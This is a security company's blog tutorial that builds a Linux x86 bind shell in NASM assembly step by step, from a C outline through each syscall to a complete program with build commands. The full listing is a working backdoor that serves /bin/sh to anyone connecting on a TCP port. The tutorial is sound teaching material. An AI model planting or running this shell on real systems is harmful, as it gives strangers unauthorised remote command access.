Linux Bind Shell in Assembly - A Walkthrough

Linux Bind Shell in Assembly

A Walkthrough

Ahmet Hrnjadovic
by Ahmet Hrnjadovic
on May 21, 2020
time to read: 14 minutes

Keypoints

How to write your Linux Bind Shell in Assembly

  • The structure of an equivalent C program can be a helpful guideline for tasks that need to be accomplished
  • A basic bind shell needs to create a server socket, accept a connection and connect the input and output of a shell to a socket
  • All of the heavy lifting is done by the Linux kernel
  • The Linux kernel is employed through system calls

This article is meant to provide an entry point and guidance to the fledgling assembly programmer. It is a walkthrough of the steps leading to a simple but complete bind shell program in NASM syntax. A simple walkthrough can shed light on many unknowns for newcomers on both methodology and process.

The following minimal C bind shell illustrates the pieces needed and gives a bit of an overview.

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int srvfd;
    int clifd;
    struct sockaddr_in srv;

    srv.sin_family = AF_INET;
    srv.sin_port = htons(4444);
    srv.sin_addr.s_addr = htonl(INADDR_ANY);

    srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));
    listen(srvfd, 0);
    clifd = accept(srvfd, NULL, NULL);
    dup2(clifd, 0);
    dup2(clifd, 1);
    dup2(clifd, 2);
    execve("/bin/sh", NULL, NULL);
}

Since we aren’t using any library structures, we can disregard the initialization of the sockaddr_in struct and jump straight to socket creation:

srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

Socket creation requires system calls. A nice resource to find system call numbers is kernelgrok.com. Searching for __"sock"__ or __"sck"__ returns a single syscall:

Socketcall

Consulting the manual pages man 2 socketcall reveals that socketcall() is used for all kinds of socket-related operations. Here is an excerpt from the man page:

int socketcall(int call, unsigned long *args);

socketcall() is a common kernel entry point for the socket system calls. Call determines which socket function to invoke.

call              Man page
SYS_SOCKET        socket(2)
SYS_BIND          bind(2)
SYS_CONNECT       connect(2)
SYS_LISTEN        listen(2)
SYS_ACCEPT        accept(2)
SYS_GETSOCKNAME   getsockname(2)
SYS_GETPEERNAME   getpeername(2)
SYS_SOCKETPAIR    socketpair(2)
SYS_SEND          send(2)
SYS_RECV          recv(2)
SYS_SENDTO        sendto(2)
SYS_RECVFROM      recvfrom(2)
SYS_SHUTDOWN      shutdown(2)
SYS_SETSOCKOPT    setsockopt(2)
SYS_GETSOCKOPT    getsockopt(2)
SYS_SENDMSG       sendmsg(2)
SYS_RECVMSG       recvmsg(2)
SYS_ACCEPT4       accept4(2)
SYS_RECVMMSG      recvmmsg(2)
SYS_SENDMMSG      sendmmsg(2)

Creating a Socket

We need to determine the appropriate value for socketcalls()’s call argument. As can be seen from the code snippet below, SYS_SOCKET is what we are looking for. Incidentally, the code below was sourced from net/socket.c

SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args)
{
    ...
	switch (call) {
	case SYS_SOCKET:
		err = __sys_socket(a0, a1, a[2]);
		break;
	case SYS_BIND:
		err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]);
		break;
	case SYS_CONNECT:
		err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
		break;
	case SYS_LISTEN:
    ...

SYS_SOCKET is a preprocessor constant and we need to find its actual value. We get it from the source tree of the kernel we are targeting (kernel version 5.4) in include/uapi/linux/net.h.

#define SYS_SOCKET  1       /* sys_socket(2)        */

In a next step we consult the socket() man page to determine what arguments we need to pass according to man 2 socket.

int socket(int domain, int type, int protocol);

At this point we have all that is needed to write the assembly code. This example uses TCP over IPv4 and the values for the other constants are as follows: AF_INET = 2, SOCK_STREAM = 1, IP_PROTO = 0.

mov     eax, 0x66           ;; socketcall syscall number
mov     ebx, 0x01           ;; SYS_SOCKET call number for socket creation

push    DWORD 0x00000000    ;; IP_PROTO
push    DWORD 0x00000001    ;; SOCK_STREAM
push    DWORD 0x00000002    ;; AF_INET

mov     ecx, esp
int     0x80

mov     esi, eax            ;; copy socket fd because eax will be needed otherwise

The syscall number for socketcall ist placed into eax and the call number for SYS_SOCKET into ebx. socketcall() expects a pointer to the arguments for the effectively executed kernel function determined by the call number. The arguments for socket() are pushed to the stack in reverse order. Since socket() expects arguments of type int, the values we push to the stack are 4 bytes wide. esp holds the address of the top of the stack. The start of our argument array, which is the current top of the stack, is saved to ecx. Now that everything is prepared, the interrupt can be called. From the socket() man page we know that the return value is the socket file descriptor. Return values are usually placed into eax.

Bind the Socket

Next, the socket is bound to an address and port.

bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));

The bind() call number for the socketcall syscall is defined as 2 in the same file as socket(), along with all the other socketcall call numbers:

#define SYS_SOCKET  1       /* sys_socket(2)        */
#define SYS_BIND    2       /* sys_bind(2)          */
#define SYS_CONNECT 3       /* sys_connect(2)       */
#define SYS_LISTEN  4       /* sys_listen(2)        */
#define SYS_ACCEPT  5       /* sys_accept(2)        */
...

Note that the arguments need to be pushed in reverse order. The length of the struct needs to be pushed first. The man page for bind() notes on the sockaddr struct:

The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings

bind() can handle a variety of different socket types and expects the appropriate structure for the socket type it is given. For our socket this is sockaddr_in, which is defined as follows for our kernel in include/uapi/linux/in.h:

/* Structure describing an Internet (IP) socket address. */
#if  __UAPI_DEF_SOCKADDR_IN
#define __SOCK_SIZE__   16          /* sizeof(struct sockaddr)  */
struct sockaddr_in {
  __kernel_sa_family_t  sin_family; /* Address family       */
  __be16        sin_port;           /* Port number          */
  struct in_addr    sin_addr;       /* Internet address     */

  /* Pad to size of `struct sockaddr'. */
  unsigned char     __pad[__SOCK_SIZE__ - sizeof(short int) -
            sizeof(unsigned short int) - sizeof(struct in_addr)];
};

An analysis of the struct definition reveals its actual length to be 8 bytes (2 shorts and 1 int) and an additional 8 bytes of padding. Our address family is AF_INET, which is defined in bits/socket.h as 2. __kernel_sa_family_t is a typedef of an unsigned short, so for it we need to push a 2-byte value of 2 to the stack. The port number is also an unsigned short value where __be16 indicates that the value is expected in big endian byte order. The in_addr struct only consists of an unsigned int in big endian (__be32) to store an IPv4 address.

;; prepare sockaddr_in struct
push    DWORD 0x00000000    ;; 4 bytes padding
push    DWORD 0x00000000    ;; 4 bytes padding
push    DWORD 0x00000000    ;; INADDR_ANY
push    WORD 0xbeef         ;; port 61374
push    WORD 0x0002         ;; AF_INET

mov     ecx, esp            ;; save struct address

;; arguments to bind()
push    DWORD 0x00000010    ;; size of our sockaddr_in struct
push    ecx                 ;; pointer to sockaddr_in struct
push    esi                 ;; socket file descriptor

mov     ecx, esp            ;; set ecx to bind() args to prep for socketcall syscall
mov     eax, 0x66           ;; socketcall syscall number
mov     ebx, 0x02           ;; SYS_BIND call number
int     0x80

As with the function arguments, the members of the struct are pushed to the stack in reverse order. We temporarily save the address to the struct in ecx, because the struct size for bind() needs to be pushed first. This program is kept minimal and error handling for bind() failures is omitted.

Listen for and Accept Incoming Connections

The next line in the C bind shell is listen(srvfd, 0);. listen() marks the socket as a passive socket, which is a socket used to accept incoming requests. This is accomplished simply enough.

mov     eax, 0x66
mov     ebx, 0x04           ;; SYS_LISTEN call number
push    0x00000000          ;; listen() backlog argument (4 byte int)
push    esi                 ;; socket fd
mov     ecx, esp            ;; pointer to args for listen()
int     0x80

The next step is to accept an incoming connection: clifd = accept(srvfd, NULL, NULL);. The second and third arguments can be populated with a pointer to an appropriate sockaddr struct and the sruct length. Upon succesful connection, the given struct is populated with information on the peer. In this minimal C bind shell we don’t care about knowing who our peer is, so NULL is passed for both of these arguments. This also simplifies the equivalent assembly code.

mov     eax, 0x66
mov     ebx, 0x05           ;; SYS_ACCEPT call number
push    DWORD 0x00000000
push    DWORD 0x00000000
push    esi                 ;; socket fd
int     0x80

accept() returns the file descriptor of the socket of the new connection in eax.

Connect IO to socket and start shell

Now all that’s left to do is duplicate the file descriptor of the connection socket to the stdin, stdout and stderr of our current process and then replace the current process with sh. dup2() is declared as follows:

int dup2(int oldfd, int newfd);

dup2 silently closes the file descriptor newfd and reopens it as a copy of oldfd, so that they can be used interchangeably.

dup Syscall

mov     ebx, eax            ;; copy fd of the new connection socket to ebx for dup2()

mov     eax, 0x3f           ;; syscall nunber goes into eax
xor     ecx, ecx            ;; duplicate stdin
int     0x80

mov     eax, 0x3f
inc     ecx                 ;; duplicate stdout
int     0x80

mov     eax, 0x3f
inc     ecx                 ;; duplicate stderr
int     0x80

man 2 execve shows execve()’s declaration as:

execve(const char *pathname, char *const argv[], char *const envp[]);

As before, the system call number goes into eax and the remaining arguments are, if present, written in order into ebx, ecx and edx. Note that the /bin/sh string is zero-delimited.

mov     eax, 0x0b           ;; execve syscall
xor     ecx, ecx            ;; no arguments for /bin/sh
xor     edx, edx            ;; no env variables
push    DWORD 0x0068732f    ;; hs/
push    DWORD 0x6e69622f    ;; nib/
mov     ebx, esp            ;; start of /bin/sh string
int     0x80

Conclusion

While the presented bind shell is simple and easy to understand, various possibilities for improvement remain, such as size optimisation or disposing of the socket after the shell exits.

For reference, here is the entire program which can be built with nasm bindshell.asm -o bindshell.o -f elf32 && ld -m elf_i386 bindshell.o -o bindshell.

global _start

section .text
_start:
    mov     eax, 0x66           ;; socketcall syscall number
    mov     ebx, 0x01           ;; SYS_SOCKET call number for socket creation

    push    DWORD 0x00000000    ;; IP_PROTO
    push    DWORD 0x00000001    ;; SOCK_STREAM
    push    DWORD 0x00000002    ;; AF_INET

    mov     ecx, esp
    int     0x80

    mov     esi, eax            ;; copy socket fd because eax will be needed otherwise

    ;; prepare sockaddr_in struct
    push    DWORD 0x00000000    ;; 4 bytes padding
    push    DWORD 0x00000000    ;; 4 bytes padding
    push    DWORD 0x00000000    ;; INADDR_ANY
    push    WORD 0xbeef         ;; port 61374
    push    WORD 0x0002         ;; AF_INET

    mov     ecx, esp            ;; save struct address

    ;; arguments to bind()
    push    DWORD 0x00000010    ;; size of our sockaddr_in struct
    push    ecx                 ;; pointer to sockaddr_in struct
    push    esi                 ;; socket file descriptor

    mov     ecx, esp            ;; set ecx to bind() args to prep for socketcall syscall
    mov     eax, 0x66           ;; socketcall syscall number
    mov     ebx, 0x02           ;; SYS_BIND call number
    int     0x80

    mov     eax, 0x66
    mov     ebx, 0x04           ;; SYS_LISTEN call number
    push    0x00000000          ;; listen() backlog argument (4 byte int)
    push    esi                 ;; socket fd
    mov     ecx, esp            ;; pointer to args for listen()
    int     0x80

    mov     eax, 0x66
    mov     ebx, 0x05           ;; SYS_ACCEPT call number
    push    DWORD 0x00000000
    push    DWORD 0x00000000
    push    esi                 ;; socket fd
    int     0x80

    mov     ebx, eax            ;; copy fd of the new connection socket to ebx for dup2()

    mov     eax, 0x3f           ;; syscall nunber goes into eax
    xor     ecx, ecx            ;; duplicate stdin
    int     0x80

    mov     eax, 0x3f
    inc     ecx                 ;; duplicate stdout
    int     0x80

    mov     eax, 0x3f
    inc     ecx                 ;; duplicate stderr
    int     0x80

    mov     eax, 0x0b           ;; execve syscall
    xor     ecx, ecx            ;; no arguments for /bin/sh
    xor     edx, edx            ;; no env variables
    push    DWORD 0x0068732f    ;; hs/
    push    DWORD 0x6e69622f    ;; nib/
    mov     ebx, esp            ;; start of /bin/sh string
    int     0x80

About the Author

Ahmet Hrnjadovic

Ahmet Hrnjadovic is working in cybersecurity since 2017. There he is focused in topics like Linux, secure development and web application security testing. (ORCID 0000-0003-1320-8655)

Links

You need support in such a project?

Our experts will get in contact with you!

×
Crypto Malware

Crypto Malware

Ahmet Hrnjadovic

SAML 2.0, OpenID Connect, OAuth 2.0

SAML 2.0, OpenID Connect, OAuth 2.0

Ahmet Hrnjadovic

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here